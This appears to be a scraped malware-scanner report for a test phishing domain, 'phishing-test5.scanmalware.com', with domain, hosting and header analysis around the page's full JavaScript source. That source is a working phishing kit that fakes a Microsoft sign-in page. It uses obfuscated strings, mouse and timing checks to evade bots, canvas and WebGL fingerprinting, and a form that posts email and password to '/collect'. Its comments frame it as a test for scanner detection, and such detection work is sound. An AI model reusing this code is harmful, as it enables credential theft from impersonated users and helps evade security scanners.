technology software

English

The domain 'phishing-test5.scanmalware.com' uses the commercial generic top-level domain (.com) and includes subdomain 'phishing-test5'. Its registrable label 'scanmalware' stretches across 11 characters holding four vowels versus 7 consonants. Word splitting yields three words: s, can, malware. Average segment length settles at 3 characters. No strong language cues emerged from the frequency lists.

variant

email

password

html/be/17/be178387-cc36-4cb4-a85b-390a5f28c034.html.gz

9b581ddb1523912f69c967134989bf63043cdd8b763478079f0fe52cca16915c

viewport

HSTS header missing - vulnerable to protocol downgrade attacks

CSP header missing - vulnerable to XSS attacks

html/be/17/be178387-cc36-4cb4-a85b-390a5f28c034_nodriver.html.gz

404 Not Found

Name SRS AB

SCANMALWARE.COM

DigitalOcean Abuse

Network Operations Center

DigitalOcean, LLC

DIGITALOCEAN-206-189-0-0


    // ============================================
    // Anti-bot / Evasion Layer
    // Scanner should detect these patterns
    // ============================================

    // 1. Mouse movement detection (content gated behind interaction)
    var _0x4a3f = false;
    document.addEventListener('mousemove', function _0xe2c1() {
      _0x4a3f = true;
      document.removeEventListener('mousemove', _0xe2c1);
    });

    // 2. Canvas fingerprinting (common in phishing kits for bot detection)
    function _0x8b2d() {
      var _0xc = document.createElement('canvas');
      var _0xctx = _0xc.getContext('2d');
      _0xctx.textBaseline = 'top';
      _0xctx.font = '14px Arial';
      _0xctx.fillText('browser_fingerprint_check', 2, 2);
      return _0xc.toDataURL().slice(-32);
    }

    // 3. WebGL fingerprinting
    function _0xa1f9() {
      try {
        var _0xgl = document.createElement('canvas').getContext('webgl');
        var _0xdbg = _0xgl.getExtension('WEBGL_debug_renderer_info');
        return _0xgl.getParameter(_0xdbg.UNMASKED_RENDERER_WEBGL);
      } catch(e) {
        return 'unknown';
      }
    }

    // 4. Timing-based bot detection
    var _0xloadTime = Date.now();

    // ============================================
    // Obfuscated Content Rendering
    // All strings are encoded to avoid static analysis
    // ============================================

    // Base64 encoded CSS
    var _0xcss = atob('Knt9Ym9keXtmb250LWZhbWlseTonU2Vnb2UgVUknLHNhbnMtc2VyaWY7YmFja2dyb3VuZDojZjJmMmYyO21hcmdpbjowO2Rpc3BsYXk6ZmxleDtqdXN0aWZ5LWNvbnRlbnQ6Y2VudGVyO2FsaWduLWl0ZW1zOmNlbnRlcjtoZWlnaHQ6MTAwdmh9');

    // String.fromCharCode encoded strings
    var _0x6d73 = [77,105,99,114,111,115,111,102,116]; // "Microsoft"
    var _0x7369 = [83,105,103,110,32,105,110]; // "Sign in"
    var _0x656d = [69,109,97,105,108,44,32,112,104,111,110,101,44,32,111,114,32,83,107,121,112,101]; // "Email, phone, or Skype"
    var _0x7077 = [80,97,115,115,119,111,114,100]; // "Password"
    var _0x7375 = [83,105,103,110,32,105,110]; // "Sign in" (button)
    var _0x6e61 = [78,111,32,97,99,99,111,117,110,116,63]; // "No account?"
    var _0x6361 = [67,114,101,97,116,101,32,111,110,101,33]; // "Create one!"

    function _0xdecode(arr) {
      return String.fromCharCode.apply(null, arr);
    }

    // ============================================
    // Delayed + Conditional Rendering
    // ============================================

    function _0xrender() {
      // Check timing (too fast = bot)
      var _0xelapsed = Date.now() - _0xloadTime;
      if (_0xelapsed < 1000) {
        // Likely automated - delay further
        setTimeout(_0xrender, 2000);
        return;
      }

      // Check for mouse movement (no movement = likely bot)
      if (!_0x4a3f) {
        // Wait for interaction, but render after max 5 seconds anyway
        if (_0xelapsed < 5000) {
          setTimeout(_0xrender, 500);
          return;
        }
      }

      // Collect fingerprints (for "analytics")
      var _0xfp = {
        canvas: _0x8b2d(),
        gpu: _0xa1f9(),
        screen: screen.width + 'x' + screen.height,
        tz: Intl.DateTimeFormat().resolvedOptions().timeZone,
        lang: navigator.language,
        plt: navigator.platform,
        hw: navigator.hardwareConcurrency,
        touch: navigator.maxTouchPoints
      };

      var _0xroot = document.getElementById('root');

      // Inject CSS via JS (no external stylesheet)
      var _0xstyle = document.createElement('style');
      _0xstyle.textContent = _0xcss + [
        '.x8f2{background:#fff;padding:44px;min-width:364px;max-width:440px;',
        'box-shadow:0 2px 6px rgba(0,0,0,0.2)}',
        '.x3a1{font-size:24px;font-weight:600;margin:16px 0 24px;color:#1b1b1b}',
        '.x7c4{width:100%;padding:6px 10px;font-size:15px;border:none;',
        'border-bottom:1px solid #666;outline:none;background:transparent;',
        'font-family:Segoe UI,sans-serif;height:36px;box-sizing:border-box}',
        '.x7c4:focus{border-bottom:2px solid #0067b8}',
        '.x9d2{width:100%;padding:10px;background:#0067b8;color:#fff;border:none;',
        'font-size:15px;font-weight:600;cursor:pointer;margin-top:16px;font-family:Segoe UI,sans-serif}',
        '.x2b5{color:#0067b8;text-decoration:none;font-size:13px}',
        '.x5e8{font-size:13px;color:#666;margin-top:12px}',
        '.xbg{position:fixed;bottom:0;left:0;right:0;height:40vh;',
        'background:linear-gradient(135deg,#0078d4,#004578);z-index:-1}'
      ].join('');
      document.head.appendChild(_0xstyle);

      // Build DOM dynamically
      var _0xbg = document.createElement('div');
      _0xbg.className = 'xbg';
      document.body.appendChild(_0xbg);

      var _0xbox = document.createElement('div');
      _0xbox.className = 'x8f2';

      // Logo (SVG built in JS)
      var _0xlogo = document.createElementNS('http://www.w3.org/2000/svg', 'svg');
      _0xlogo.setAttribute('width', '108');
      _0xlogo.setAttribute('height', '24');
      _0xlogo.setAttribute('viewBox', '0 0 108 24');
      _0xlogo.innerHTML = '<rect x="0" y="0" width="10.5" height="10.5" fill="#f25022"/>' +
        '<rect x="11.5" y="0" width="10.5" height="10.5" fill="#7fba00"/>' +
        '<rect x="0" y="11.5" width="10.5" height="10.5" fill="#00a4ef"/>' +
        '<rect x="11.5" y="11.5" width="10.5" height="10.5" fill="#ffb900"/>' +
        '<text x="28" y="17" font-family="Segoe UI,sans-serif" font-size="15" fill="#737373">' +
        _0xdecode(_0x6d73) + '</text>';
      _0xbox.appendChild(_0xlogo);

      // Title
      var _0xtitle = document.createElement('div');
      _0xtitle.className = 'x3a1';
      _0xtitle.textContent = _0xdecode(_0x7369);
      _0xbox.appendChild(_0xtitle);

      // Form (created dynamically — no form in HTML source)
      var _0xform = document.createElement('form');
      _0xform.method = 'POST';
      _0xform.action = '/collect';

      var _0xhid1 = document.createElement('input');
      _0xhid1.type = 'hidden';
      _0xhid1.name = 'variant';
      _0xhid1.value = 'v5-obfuscated';
      _0xform.appendChild(_0xhid1);

      // Send fingerprint with form
      var _0xhid2 = document.createElement('input');
      _0xhid2.type = 'hidden';
      _0xhid2.name = 'fp';
      _0xhid2.value = btoa(JSON.stringify(_0xfp));
      _0xform.appendChild(_0xhid2);

      var _0xemail = document.createElement('input');
      _0xemail.type = 'email';
      _0xemail.name = 'email';
      _0xemail.className = 'x7c4';
      _0xemail.placeholder = _0xdecode(_0x656d);
      _0xemail.required = true;
      _0xemail.style.marginBottom = '16px';
      _0xform.appendChild(_0xemail);

      var _0xpass = document.createElement('input');
      _0xpass.type = 'password';
      _0xpass.name = 'password';
      _0xpass.className = 'x7c4';
      _0xpass.placeholder = _0xdecode(_0x7077);
      _0xpass.required = true;
      _0xform.appendChild(_0xpass);

      var _0xlink1 = document.createElement('div');
      _0xlink1.className = 'x5e8';
      _0xlink1.innerHTML = _0xdecode(_0x6e61) + ' <a href="#" class="x2b5">' + _0xdecode(_0x6361) + '</a>';
      _0xform.appendChild(_0xlink1);

      var _0xbtn = document.createElement('button');
      _0xbtn.type = 'submit';
      _0xbtn.className = 'x9d2';
      _0xbtn.textContent = _0xdecode(_0x7375);
      _0xform.appendChild(_0xbtn);

      _0xbox.appendChild(_0xform);
      _0xroot.appendChild(_0xbox);

      // Update page title after rendering (delayed title change = evasion indicator)
      document.title = _0xdecode([83,105,103,110,32,105,110,32,116,111,32,121,111,117,114,32,97,99,99,111,117,110,116]);
    }

    // Delayed execution: content appears after 3 seconds
    setTimeout(_0xrender, 3000);
  

Requests	IP Address	Location	AS Autonomous System
2	206.189.1.124	Amsterdam, North Holland, Netherlands	AS14061DigitalOcean, LLC
2	1	-	-

Security Scan Report: phishing-test5.scanmalware.com

Summary

AI Security Verdict

Confirmed Scam

Risk Factors

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Detected Technologies3

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History